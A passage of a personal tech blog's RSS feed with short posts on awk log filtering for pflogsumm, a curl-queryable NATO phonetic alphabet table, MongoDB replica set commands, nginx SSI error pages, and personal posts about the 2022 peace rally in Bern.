  4673. awk -F '[ :]+' 'BEGIN{m=split("Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec",d,"|"); for(o=1;o&lt;=m;o++){months[d[o]]=sprintf("%02d",o)}} mktime(strftime("%Y")" "months[$1]" "sprintf("%02d",$2+1)" "$3" "$4" "$5) &gt; systime()'
  4674. </code>
  4675. <p>This is then used in a cronjob to get a <a href="http://jimsun.linxnet.com/postfix_contrib.html" title="JIMSUN - Postfix Contribs">pflogsumm</a> summary of the last 24h:</p>
  4676. <code>
  4677. cat /var/log/mail.log | awk -F '[ :]+' 'BEGIN{m=split("Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec",d,"|"); for(o=1;o&lt;=m;o++){months[d[o]]=sprintf("%02d",o)}} mktime(strftime("%Y")" "months[$1]" "sprintf("%02d",$2+1)" "$3" "$4" "$5) &gt; systime()' | pflogsumm
  4678. </code>
  4679. ]]></content:encoded>
  4680.  </item>
  4681.  
  4682.  <item>
  4683.    <title>Happy New Year 2023</title>
  4684.    <link>https://blog.x-way.org/Misc/2022/12/31/Happy-New-Year-2023.html</link>
  4685.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324308</guid>
  4686.    <dc:creator>Andreas Jaggi</dc:creator>
  4687.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4688.    <pubDate>Sat, 31 Dec 2022 13:59:00 +0100</pubDate>
  4689.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4690.    <description><![CDATA[<p><a href="https://youtu.be/ZKGgsQg17cw" title="Sydney New Year's Eve midgnight fireworks - YouTube">Sydney New Year's Eve midgnight fireworks</a></p>
  4691. <p>As usual, Sydney is a bit ahead of us. Great memories, long time ago :-)</p>
  4692. ]]></description>
  4693.    <content:encoded><![CDATA[<p><a href="https://youtu.be/ZKGgsQg17cw" title="Sydney New Year's Eve midgnight fireworks - YouTube">Sydney New Year's Eve midgnight fireworks</a></p>
  4694. <p>As usual, Sydney is a bit ahead of us. Great memories, long time ago :-)</p>
  4695. ]]></content:encoded>
  4696.  </item>
  4697.  
  4698.  <item>
  4699.    <title>Alpha Bravo Charlie</title>
  4700.    <link>https://blog.x-way.org/Misc/2022/12/25/Alpha-Bravo-Charlie.html</link>
  4701.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324307</guid>
  4702.    <dc:creator>Andreas Jaggi</dc:creator>
  4703.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4704.    <pubDate>Sun, 25 Dec 2022 22:11:00 +0100</pubDate>
  4705.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4706.    <description><![CDATA[<p>While closing an old account I had to communicate using the infamous NATO/ICAO phonetic alphabet (US banks like to exchange the 20+ character long <a href="https://en.wikipedia.org/wiki/International_Bank_Account_Number" title="International Bank Account Number - Wikipedia">IBANs</a> via poor-quality call-center phonelines).</p>
  4707. <p>As it has been a while since I last used it, I created a handy table to quickly lookup the code words: <a href="http://nato.sigint.ch" title="NATO/ICAO phonetic alphabet">nato.sigint.ch</a></p>
  4708. <p>Special feature: when queried by curl (eg. without a text/html Accept header) it returns the table as plaintext :-)</p>
  4709. <pre># curl nato.sigint.ch
  4710. A Alpha      S Sierra
  4711. B Bravo      T Tango
  4712. C Charlie    U Uniform
  4713. D Delta      V Victor
  4714. E Echo       W Whiskey
  4715. F Foxtrot    X X-ray
  4716. G Golf       Y Yankee
  4717. H Hotel      Z Zulu
  4718. I India      0 Zero
  4719. J Juliett    1 One
  4720. K Kilo       2 Two
  4721. L Lima       3 Three
  4722. M Mike       4 Four
  4723. N November   5 Five
  4724. O Oscar      6 Six
  4725. P Papa       7 Seven
  4726. Q Quebec     8 Eight
  4727. R Romeo      9 Niner</pre>
  4728. ]]></description>
  4729.    <content:encoded><![CDATA[<p>While closing an old account I had to communicate using the infamous NATO/ICAO phonetic alphabet (US banks like to exchange the 20+ character long <a href="https://en.wikipedia.org/wiki/International_Bank_Account_Number" title="International Bank Account Number - Wikipedia">IBANs</a> via poor-quality call-center phonelines).</p>
  4730. <p>As it has been a while since I last used it, I created a handy table to quickly lookup the code words: <a href="http://nato.sigint.ch" title="NATO/ICAO phonetic alphabet">nato.sigint.ch</a></p>
  4731. <p>Special feature: when queried by curl (eg. without a text/html Accept header) it returns the table as plaintext :-)</p>
  4732. <pre># curl nato.sigint.ch
  4733. A Alpha      S Sierra
  4734. B Bravo      T Tango
  4735. C Charlie    U Uniform
  4736. D Delta      V Victor
  4737. E Echo       W Whiskey
  4738. F Foxtrot    X X-ray
  4739. G Golf       Y Yankee
  4740. H Hotel      Z Zulu
  4741. I India      0 Zero
  4742. J Juliett    1 One
  4743. K Kilo       2 Two
  4744. L Lima       3 Three
  4745. M Mike       4 Four
  4746. N November   5 Five
  4747. O Oscar      6 Six
  4748. P Papa       7 Seven
  4749. Q Quebec     8 Eight
  4750. R Romeo      9 Niner</pre>
  4751. ]]></content:encoded>
  4752.  </item>
  4753.  
  4754.  <item>
  4755.    <title>How to Exit Vim</title>
  4756.    <link>https://blog.x-way.org/Linux/2022/08/07/How-to-Exit-Vim.html</link>
  4757.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324306</guid>
  4758.    <dc:creator>Andreas Jaggi</dc:creator>
  4759.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4760.    <pubDate>Sun, 07 Aug 2022 22:19:00 +0200</pubDate>
  4761.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4762.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/how-to-exit-vim.jpg" alt="How to Exit Vim" height="459" width="680"></p>
  4763. <p>(<a href="https://twitter.com/sheeshee/status/1556000047539654657" title="Su-Shee (@sheeshee) / Twitter">via</a>)</p>
  4764. ]]></description>
  4765.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/how-to-exit-vim.jpg" alt="How to Exit Vim" height="459" width="680"></p>
  4766. <p>(<a href="https://twitter.com/sheeshee/status/1556000047539654657" title="Su-Shee (@sheeshee) / Twitter">via</a>)</p>
  4767. ]]></content:encoded>
  4768.  </item>
  4769.  
  4770.  <item>
  4771.    <title>Add node to MongoDB cluster</title>
  4772.    <link>https://blog.x-way.org/Linux/2022/07/06/Add-node-to-MongoDB-cluster.html</link>
  4773.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324305</guid>
  4774.    <dc:creator>Andreas Jaggi</dc:creator>
  4775.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4776.    <pubDate>Wed, 06 Jul 2022 22:14:00 +0200</pubDate>
  4777.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4778.    <description><![CDATA[<p>To add a new node to an existing <a href="https://www.mongodb.com/" title="MongoDB">MongoDB</a> cluster, login to the mongo shell on the primary node and run the following command:</p>
  4779. <pre>rs.add({host:"mongodb3.example.net:27017"})</pre>
  4780. <p>Similar to remove a node from the cluster, use:</p>
  4781. <pre>rs.remove("mongodb3.example.net:27017")</pre>
  4782. ]]></description>
  4783.    <content:encoded><![CDATA[<p>To add a new node to an existing <a href="https://www.mongodb.com/" title="MongoDB">MongoDB</a> cluster, login to the mongo shell on the primary node and run the following command:</p>
  4784. <pre>rs.add({host:"mongodb3.example.net:27017"})</pre>
  4785. <p>Similar to remove a node from the cluster, use:</p>
  4786. <pre>rs.remove("mongodb3.example.net:27017")</pre>
  4787. ]]></content:encoded>
  4788.  </item>
  4789.  
  4790.  <item>
  4791.    <title>Custom nginx error pages</title>
  4792.    <link>https://blog.x-way.org/Webdesign/2022/06/19/Custom-nginx-error-pages.html</link>
  4793.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324304</guid>
  4794.    <dc:creator>Andreas Jaggi</dc:creator>
  4795.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4796.    <pubDate>Sun, 19 Jun 2022 09:48:00 +0200</pubDate>
  4797.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4798.    <description><![CDATA[<p>For quite some time I've been using custom nginx error pages on this site.<br>
  4799. My approach so far was to generate a bunch of static HTML with the various error messages and then configure them for each corresponding HTTP status codes in nginx.<br>As there are quite a number of HTTP errors, I used a little shell script to generate the whole config and HTML, in the end I had a huge file with snippets like the one below.</p>
  4800. <pre>
  4801. error_page 429 @custom_error_429;
  4802. location @custom_error_429 {
  4803. internal;
  4804. more_set_headers 'Content-Type: text/html';
  4805. echo '&lt;html&gt;...&lt;/html&gt;';
  4806. }
  4807. </pre>
  4808.  
  4809. <p>Now while implementing custom error pages for a different project, I tried to see if there is an easier way to do this.<br>
  4810. Some searching lead to the <a href="https://blog.adriaan.io/one-nginx-error-page-to-rule-them-all.html" title="One NGINX error page to rule them all - Adriaan's blog">One NGINX error page to rule them all</a> article which describes an alternative approach leveraging the nginx <abbr title="Server Side Includes">SSI</abbr> module to generate the error pages on the fly.</p>
  4811. <p>
  4812. Instead of generating and defining a specific error page for each error, a single error page is used for all errors.
  4813. </p>
  4814. <pre>
  4815. error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414
  4816.           415 416 417 418 421 422 423 424 425 426 428 429 431 451 500
  4817.           501 502 503 504 505 506 507 508 510 511 /error.html;
  4818.  
  4819. location = /error.html {
  4820. ssi on;
  4821. internal;
  4822. root /var/www/default;
  4823. }
  4824. </pre>
  4825. <p>nginx provides the status code as variable to our error page, but we also need the error message to make it more userfriendly.<br>
  4826. For this we define a mapping of status codes to the error messages.</p>
  4827. <pre>
  4828. map $status $status_text {
  4829.  400 'Bad Request';
  4830.  401 'Unauthorized';
  4831.  402 'Payment Required';
  4832.  403 'Forbidden';
  4833.  404 'Not Found';
  4834.  405 'Method Not Allowed';
  4835.  406 'Not Acceptable';
  4836.  407 'Proxy Authentication Required';
  4837.  408 'Request Timeout';
  4838.  409 'Conflict';
  4839.  410 'Gone';
  4840.  411 'Length Required';
  4841.  412 'Precondition Failed';
  4842.  413 'Payload Too Large';
  4843.  414 'URI Too Long';
  4844.  415 'Unsupported Media Type';
  4845.  416 'Range Not Satisfiable';
  4846.  417 'Expectation Failed';
  4847.  418 'I\'m a teapot';
  4848.  421 'Misdirected Request';
  4849.  422 'Unprocessable Entity';
  4850.  423 'Locked';
  4851.  424 'Failed Dependency';
  4852.  425 'Too Early';
  4853.  426 'Upgrade Required';
  4854.  428 'Precondition Required';
  4855.  429 'Too Many Requests';
  4856.  431 'Request Header Fields Too Large';
  4857.  451 'Unavailable For Legal Reasons';
  4858.  500 'Internal Server Error';
  4859.  501 'Not Implemented';
  4860.  502 'Bad Gateway';
  4861.  503 'Service Unavailable';
  4862.  504 'Gateway Timeout';
  4863.  505 'HTTP Version Not Supported';
  4864.  506 'Variant Also Negotiates';
  4865.  507 'Insufficient Storage';
  4866.  508 'Loop Detected';
  4867.  510 'Not Extended';
  4868.  511 'Network Authentication Required';
  4869.  default 'Something went wrong';
  4870. }
  4871. </pre>
  4872.  
  4873. <p>Now we have the <var>status</var> and the <var>status_text</var> variables available in our error.html page.</p>
  4874. <pre>
  4875. &lt;html&gt;&lt;body&gt;
  4876. &lt;h1&gt;&lt;!--# echo var="status" default="" --&gt;
  4877. &lt;!--# echo var="status_text" default="Something went wrong" --&gt;&lt;/h1&gt;
  4878. &lt;/body&gt;&lt;/html&gt;
  4879. </pre>
  4880. ]]></description>
  4881.    <content:encoded><![CDATA[<p>For quite some time I've been using custom nginx error pages on this site.<br>
  4882. My approach so far was to generate a bunch of static HTML with the various error messages and then configure them for each corresponding HTTP status codes in nginx.<br>As there are quite a number of HTTP errors, I used a little shell script to generate the whole config and HTML, in the end I had a huge file with snippets like the one below.</p>
  4883. <pre>
  4884. error_page 429 @custom_error_429;
  4885. location @custom_error_429 {
  4886. internal;
  4887. more_set_headers 'Content-Type: text/html';
  4888. echo '&lt;html&gt;...&lt;/html&gt;';
  4889. }
  4890. </pre>
  4891.  
  4892. <p>Now while implementing custom error pages for a different project, I tried to see if there is an easier way to do this.<br>
  4893. Some searching lead to the <a href="https://blog.adriaan.io/one-nginx-error-page-to-rule-them-all.html" title="One NGINX error page to rule them all - Adriaan's blog">One NGINX error page to rule them all</a> article which describes an alternative approach leveraging the nginx <abbr title="Server Side Includes">SSI</abbr> module to generate the error pages on the fly.</p>
  4894. <p>
  4895. Instead of generating and defining a specific error page for each error, a single error page is used for all errors.
  4896. </p>
  4897. <pre>
  4898. error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414
  4899.           415 416 417 418 421 422 423 424 425 426 428 429 431 451 500
  4900.           501 502 503 504 505 506 507 508 510 511 /error.html;
  4901.  
  4902. location = /error.html {
  4903. ssi on;
  4904. internal;
  4905. root /var/www/default;
  4906. }
  4907. </pre>
  4908. <p>nginx provides the status code as variable to our error page, but we also need the error message to make it more userfriendly.<br>
  4909. For this we define a mapping of status codes to the error messages.</p>
  4910. <pre>
  4911. map $status $status_text {
  4912.  400 'Bad Request';
  4913.  401 'Unauthorized';
  4914.  402 'Payment Required';
  4915.  403 'Forbidden';
  4916.  404 'Not Found';
  4917.  405 'Method Not Allowed';
  4918.  406 'Not Acceptable';
  4919.  407 'Proxy Authentication Required';
  4920.  408 'Request Timeout';
  4921.  409 'Conflict';
  4922.  410 'Gone';
  4923.  411 'Length Required';
  4924.  412 'Precondition Failed';
  4925.  413 'Payload Too Large';
  4926.  414 'URI Too Long';
  4927.  415 'Unsupported Media Type';
  4928.  416 'Range Not Satisfiable';
  4929.  417 'Expectation Failed';
  4930.  418 'I\'m a teapot';
  4931.  421 'Misdirected Request';
  4932.  422 'Unprocessable Entity';
  4933.  423 'Locked';
  4934.  424 'Failed Dependency';
  4935.  425 'Too Early';
  4936.  426 'Upgrade Required';
  4937.  428 'Precondition Required';
  4938.  429 'Too Many Requests';
  4939.  431 'Request Header Fields Too Large';
  4940.  451 'Unavailable For Legal Reasons';
  4941.  500 'Internal Server Error';
  4942.  501 'Not Implemented';
  4943.  502 'Bad Gateway';
  4944.  503 'Service Unavailable';
  4945.  504 'Gateway Timeout';
  4946.  505 'HTTP Version Not Supported';
  4947.  506 'Variant Also Negotiates';
  4948.  507 'Insufficient Storage';
  4949.  508 'Loop Detected';
  4950.  510 'Not Extended';
  4951.  511 'Network Authentication Required';
  4952.  default 'Something went wrong';
  4953. }
  4954. </pre>
  4955.  
  4956. <p>Now we have the <var>status</var> and the <var>status_text</var> variables available in our error.html page.</p>
  4957. <pre>
  4958. &lt;html&gt;&lt;body&gt;
  4959. &lt;h1&gt;&lt;!--# echo var="status" default="" --&gt;
  4960. &lt;!--# echo var="status_text" default="Something went wrong" --&gt;&lt;/h1&gt;
  4961. &lt;/body&gt;&lt;/html&gt;
  4962. </pre>
  4963. ]]></content:encoded>
  4964.  </item>
  4965.  
  4966.  <item>
  4967.    <title>nitter</title>
  4968.    <link>https://blog.x-way.org/Misc/2022/06/15/nitter.html</link>
  4969.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324303</guid>
  4970.    <dc:creator>Andreas Jaggi</dc:creator>
  4971.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4972.    <pubDate>Wed, 15 Jun 2022 21:08:00 +0200</pubDate>
  4973.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4974.    <description><![CDATA[<p><a href="https://en.wikipedia.org/wiki/Nitter" title="nitter">nitter</a> provides a free and open source alternative front-end to Twitter. It talks with the API and does not show any JavaScript or ads (thus no 'forced-login' overlay after reading 5 tweets or similar nastiness).<br>
  4975. The source code for it is available on <a href="https://github.com/zedeus/nitter" title="">GitHub</a>.</p>
  4976. <p>It does a direct mapping of the profile URLs, thus <code>https://twitter.com/sheeshee</code> becomes <code>https://<b>nitter.net</b>/sheeshee</code></p>
  4977. ]]></description>
  4978.    <content:encoded><![CDATA[<p><a href="https://en.wikipedia.org/wiki/Nitter" title="nitter">nitter</a> provides a free and open source alternative front-end to Twitter. It talks with the API and does not show any JavaScript or ads (thus no 'forced-login' overlay after reading 5 tweets or similar nastiness).<br>
  4979. The source code for it is available on <a href="https://github.com/zedeus/nitter" title="">GitHub</a>.</p>
  4980. <p>It does a direct mapping of the profile URLs, thus <code>https://twitter.com/sheeshee</code> becomes <code>https://<b>nitter.net</b>/sheeshee</code></p>
  4981. ]]></content:encoded>
  4982.  </item>
  4983.  
  4984.  <item>
  4985.    <title>Blogging like 2002</title>
  4986.    <link>https://blog.x-way.org/Webdesign/2022/06/04/Blogging-like-2002.html</link>
  4987.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324302</guid>
  4988.    <dc:creator>Andreas Jaggi</dc:creator>
  4989.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4990.    <pubDate>Sat, 04 Jun 2022 11:32:00 +0200</pubDate>
  4991.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4992.    <description><![CDATA[<p>On the occasion of the <a href="https://blog.x-way.org/Misc/2022/06/02/Happy-20th-Birthday-x-log.html" title="Happy 20th Birthday x-log">20th anniversary of this blog</a>, I've used <a href="https://archive.org/" title="Internet Archive">archive.org</a> to reconstruct the original HTML layout from back in the time and applied it to the Jekyll templates.</p>
  4993. <p>Enjoy the blog in all the (&lt;table&gt; based) glory from 2002 :-)</p>
  4994. ]]></description>
  4995.    <content:encoded><![CDATA[<p>On the occasion of the <a href="https://blog.x-way.org/Misc/2022/06/02/Happy-20th-Birthday-x-log.html" title="Happy 20th Birthday x-log">20th anniversary of this blog</a>, I've used <a href="https://archive.org/" title="Internet Archive">archive.org</a> to reconstruct the original HTML layout from back in the time and applied it to the Jekyll templates.</p>
  4996. <p>Enjoy the blog in all the (&lt;table&gt; based) glory from 2002 :-)</p>
  4997. ]]></content:encoded>
  4998.  </item>
  4999.  
  5000.  <item>
  5001.    <title>Happy 20th Birthday x-log</title>
  5002.    <link>https://blog.x-way.org/Misc/2022/06/02/Happy-20th-Birthday-x-log.html</link>
  5003.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324301</guid>
  5004.    <dc:creator>Andreas Jaggi</dc:creator>
  5005.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5006.    <pubDate>Thu, 02 Jun 2022 22:54:00 +0200</pubDate>
  5007.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  5008.    <description><![CDATA[<p>On June 2nd 2002 I published the first (test) entry in this weblog. The first entry has disappeared since (thus making <a href="https://blog.x-way.org/Webdesign/2002/06/03/Flash-Sites.html" title="Flash-Sites">the second entry</a> the first one in the <a href="https://blog.x-way.org/archive/archive-2002-06.html" title="x-log - Archive - 2002-06" >archive of June 2002</a>).</p>
  5009. <p><img src="https://blog.x-way.org/images/first_entry.png" alt="Screenshot of the first (test) entry" height="59" width="290"></p>
  5010. <p>Compared to <a href="https://web.archive.org/web/20020808101503/http://waterwave.ch/weblog/about.php" title="archive.org x-log about page from 2002">20 years ago</a>, the about page no longer needs to explain what a weblog is.<br>
  5011. Interesting though that the linked <a href="https://web.archive.org/web/20011204164555/http://www.jonet.org/data/beitraege.983619029.22602.html" title="archive.org: Peter Praschl: Was ist eigentlich ein Weblog?">definition of a weblog</a> from back then already did foresee the rise and fall in popularity of weblogs which happend during the last two decades.<br>To me it seems in the last 1-2 years there has been an increase again in activity around personal weblogs; curious to see if this revival trend continues.
  5012. </p>
  5013. <p>Also the weblog here has changed quite a bit. Initially its content was more on the pure web-logging side (commenting on interesting links I encountered during my daily Internet surfing) mixed with some kind of a journal/commentary of my day-to-day life. Later on it moved more towards a 'knowledge dump' on technical topics mixed with some music discoveries and random personal post from festivals and travels. And lately it has been rather sparse again with posts, still mostly on technical topics around coding, networking, security mixed with some personal posts commenting on the current world situation.<br>The frequency of posts also followed the changes in content where early on there sometimes were multiple posts per day, nowadays there can be multiple months without any post and there were even entire years where nothing new was posted; let's see how this goes in the future :-)</p>
  5014. <p>From the list of linked Blogs in 2002, only deep-resonance aka <a href="https://kniebes.com/" title="Markus Kniebes">mk</a> is still active, special shout-out to <a href="https://kniebes.com/now">Markus</a> for the continuous persistence.<br>To the next twenty years :-)</p>
  5015. ]]></description>
  5016.    <content:encoded><![CDATA[<p>On June 2nd 2002 I published the first (test) entry in this weblog. The first entry has disappeared since (thus making <a href="https://blog.x-way.org/Webdesign/2002/06/03/Flash-Sites.html" title="Flash-Sites">the second entry</a> the first one in the <a href="https://blog.x-way.org/archive/archive-2002-06.html" title="x-log - Archive - 2002-06" >archive of June 2002</a>).</p>
  5017. <p><img src="https://blog.x-way.org/images/first_entry.png" alt="Screenshot of the first (test) entry" height="59" width="290"></p>
  5018. <p>Compared to <a href="https://web.archive.org/web/20020808101503/http://waterwave.ch/weblog/about.php" title="archive.org x-log about page from 2002">20 years ago</a>, the about page no longer needs to explain what a weblog is.<br>
  5019. Interesting though that the linked <a href="https://web.archive.org/web/20011204164555/http://www.jonet.org/data/beitraege.983619029.22602.html" title="archive.org: Peter Praschl: Was ist eigentlich ein Weblog?">definition of a weblog</a> from back then already did foresee the rise and fall in popularity of weblogs which happend during the last two decades.<br>To me it seems in the last 1-2 years there has been an increase again in activity around personal weblogs; curious to see if this revival trend continues.
  5020. </p>
  5021. <p>Also the weblog here has changed quite a bit. Initially its content was more on the pure web-logging side (commenting on interesting links I encountered during my daily Internet surfing) mixed with some kind of a journal/commentary of my day-to-day life. Later on it moved more towards a 'knowledge dump' on technical topics mixed with some music discoveries and random personal post from festivals and travels. And lately it has been rather sparse again with posts, still mostly on technical topics around coding, networking, security mixed with some personal posts commenting on the current world situation.<br>The frequency of posts also followed the changes in content where early on there sometimes were multiple posts per day, nowadays there can be multiple months without any post and there were even entire years where nothing new was posted; let's see how this goes in the future :-)</p>
  5022. <p>From the list of linked Blogs in 2002, only deep-resonance aka <a href="https://kniebes.com/" title="Markus Kniebes">mk</a> is still active, special shout-out to <a href="https://kniebes.com/now">Markus</a> for the continuous persistence.<br>To the next twenty years :-)</p>
  5023. ]]></content:encoded>
  5024.  </item>
  5025.  
  5026.  <item>
  5027.    <title>mt-set-time</title>
  5028.    <link>https://blog.x-way.org/Networking/2022/03/26/mt-set-time.html</link>
  5029.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324300</guid>
  5030.    <dc:creator>Andreas Jaggi</dc:creator>
  5031.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5032.    <pubDate>Sat, 26 Mar 2022 16:15:00 +0100</pubDate>
  5033.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5034.    <description><![CDATA[<p>A while ago I wrote a little tool to set the time on <a href="https://mikrotik.com/" title="MikroTik Routers and Wireless">MikroTik</a> devices.
  5035. It takes the current time from the local machine and does set it on the device through the API (while respecting the timezone configured on it).<br>
  5036. I mostly use it to set the proper time when the device time was completely off (when setting up a new device or when it has been powered off for a long time).
  5037. Afterwards NTP should take care of keeping the time in sync.</p>
  5038. <p>The tool is now available on GitHub together with installation and usage instructions: <a href="https://github.com/x-way/mt-set-time" title="x-way/mt-set-time: Set time on MikroTik routers">mt-set-time</a></p>
  5039. ]]></description>
  5040.    <content:encoded><![CDATA[<p>A while ago I wrote a little tool to set the time on <a href="https://mikrotik.com/" title="MikroTik Routers and Wireless">MikroTik</a> devices.
  5041. It takes the current time from the local machine and does set it on the device through the API (while respecting the timezone configured on it).<br>
  5042. I mostly use it to set the proper time when the device time was completely off (when setting up a new device or when it has been powered off for a long time).
  5043. Afterwards NTP should take care of keeping the time in sync.</p>
  5044. <p>The tool is now available on GitHub together with installation and usage instructions: <a href="https://github.com/x-way/mt-set-time" title="x-way/mt-set-time: Set time on MikroTik routers">mt-set-time</a></p>
  5045. ]]></content:encoded>
  5046.  </item>
  5047.  
  5048.  <item>
  5049.    <title>Fight Putin - Ride a Bike</title>
  5050.    <link>https://blog.x-way.org/Misc/2022/03/15/Fight-Putin-Ride-a-Bike.html</link>
  5051.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324299</guid>
  5052.    <dc:creator>Andreas Jaggi</dc:creator>
  5053.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5054.    <pubDate>Tue, 15 Mar 2022 12:55:00 +0100</pubDate>
  5055.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  5056.    <description><![CDATA[<p><a href="https://blog.x-way.org/images/fight-putin-ride-a-bike.jpeg" title="Fight Putin - Ride a Bike"><img src="https://blog.x-way.org/images/fight-putin-ride-a-bike_small.jpeg" alt="Fight Putin - Ride a Bike" height="515" width="300"></a></p>
  5057. ]]></description>
  5058.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/images/fight-putin-ride-a-bike.jpeg" title="Fight Putin - Ride a Bike"><img src="https://blog.x-way.org/images/fight-putin-ride-a-bike_small.jpeg" alt="Fight Putin - Ride a Bike" height="515" width="300"></a></p>
  5059. ]]></content:encoded>
  5060.  </item>
  5061.  
  5062.  <item>
  5063.    <title>Dr Putin isch</title>
  5064.    <link>https://blog.x-way.org/Music/2022/02/27/Dr-Putin-isch.html</link>
  5065.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324298</guid>
  5066.    <dc:creator>Andreas Jaggi</dc:creator>
  5067.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5068.    <pubDate>Sun, 27 Feb 2022 11:53:00 +0100</pubDate>
  5069.    <category domain="https://blog.x-way.org/Music/">Music</category>
  5070.    <description><![CDATA[<p><a href="https://youtu.be/R-oqHUlptq8" title="Dr Putin isch e Hueresohn - YouTube">Dr Putin isch e Hueresohn</a></p>
  5071. <p>(<a href="https://www.reddit.com/r/BUENZLI/comments/t08crk/mis_neue_lieblingslied/" title="/r/BUENZLI on reddit.com">via</a>)</p>
  5072. ]]></description>
  5073.    <content:encoded><![CDATA[<p><a href="https://youtu.be/R-oqHUlptq8" title="Dr Putin isch e Hueresohn - YouTube">Dr Putin isch e Hueresohn</a></p>
  5074. <p>(<a href="https://www.reddit.com/r/BUENZLI/comments/t08crk/mis_neue_lieblingslied/" title="/r/BUENZLI on reddit.com">via</a>)</p>
  5075. ]]></content:encoded>
  5076.  </item>
  5077.  
  5078.  <item>
  5079.    <title>Non à la guerre! Nein zum Krieg!</title>
  5080.    <link>https://blog.x-way.org/Misc/2022/02/26/Non-a-la-guerre-Nein-zum-Krieg.html</link>
  5081.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324297</guid>
  5082.    <dc:creator>Andreas Jaggi</dc:creator>
  5083.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5084.    <pubDate>Sat, 26 Feb 2022 21:22:00 +0100</pubDate>
  5085.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  5086.    <description><![CDATA[<p>Today I went to Bern to the <a href="https://www.swissinfo.ch/eng/ukraine--up-to-20-000-people-march-in-bern-for-peace/47383836" title="Ukraine: up to 20'000 people march in Bern for peace">rally for peace</a>.<br>
  5087. My motivation was to show support for the people suffering in this war and to send a signal to our swiss government that the population wants clear participation in sanctions (while remaining neutral, the two in my view are not exclusive!).</p>
  5088. <p>Swiss media reported that this was the largest rally for peace in Switzerland since the <a href="https://blog.x-way.org/Misc/2003/03/22/Tous_ensemble_tous_ensemble_non_a_la_guerre.html" title="x-log - Tous ensemble, tous ensemble, non à la guerre!">rallies against the war in Iraq in 2003</a>. That I can link to my own blog entry regarding the rally for peace from 19 years ago, makes me sad.<br>
  5089. Clearly we as human species did not progress enough on this topic :-(</p>
  5090. <p>Besides showing up to the rally, I also did donate to the <a href="https://www.icrc.org/" title="International Committee of the Red Cross">ICRC</a> to provide humanitarian aid and I do encourage you to do the same.</p>
  5091. ]]></description>
  5092.    <content:encoded><![CDATA[<p>Today I went to Bern to the <a href="https://www.swissinfo.ch/eng/ukraine--up-to-20-000-people-march-in-bern-for-peace/47383836" title="Ukraine: up to 20'000 people march in Bern for peace">rally for peace</a>.<br>
  5093. My motivation was to show support for the people suffering in this war and to send a signal to our swiss government that the population wants clear participation in sanctions (while remaining neutral, the two in my view are not exclusive!).</p>
  5094. <p>Swiss media reported that this was the largest rally for peace in Switzerland since the <a href="https://blog.x-way.org/Misc/2003/03/22/Tous_ensemble_tous_ensemble_non_a_la_guerre.html" title="x-log - Tous ensemble, tous ensemble, non à la guerre!">rallies against the war in Iraq in 2003</a>. That I can link to my own blog entry regarding the rally for peace from 19 years ago, makes me sad.<br>
  5095. Clearly we as human species did not progress enough on this topic :-(</p>
  5096. <p>Besides showing up to the rally, I also did donate to the <a href="https://www.icrc.org/" title="International Committee of the Red Cross">ICRC</a> to provide humanitarian aid and I do encourage you to do the same.</p>
  5097. ]]></content:encoded>
  5098.  </item>
  5099.  
  5100.  <item>
  5101.    <title>EFF Member Badge 2022</title>
  5102.    <link>https://blog.x-way.org/Badges/2022/02/20/EFF-Member-Badge-2022.html</link>
  5103.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324296</guid>
  5104.    <dc:creator>Andreas Jaggi</dc:creator>
  5105.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5106.    <pubDate>Sun, 20 Feb 2022 09:22:00 +0100</pubDate>
  5107.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
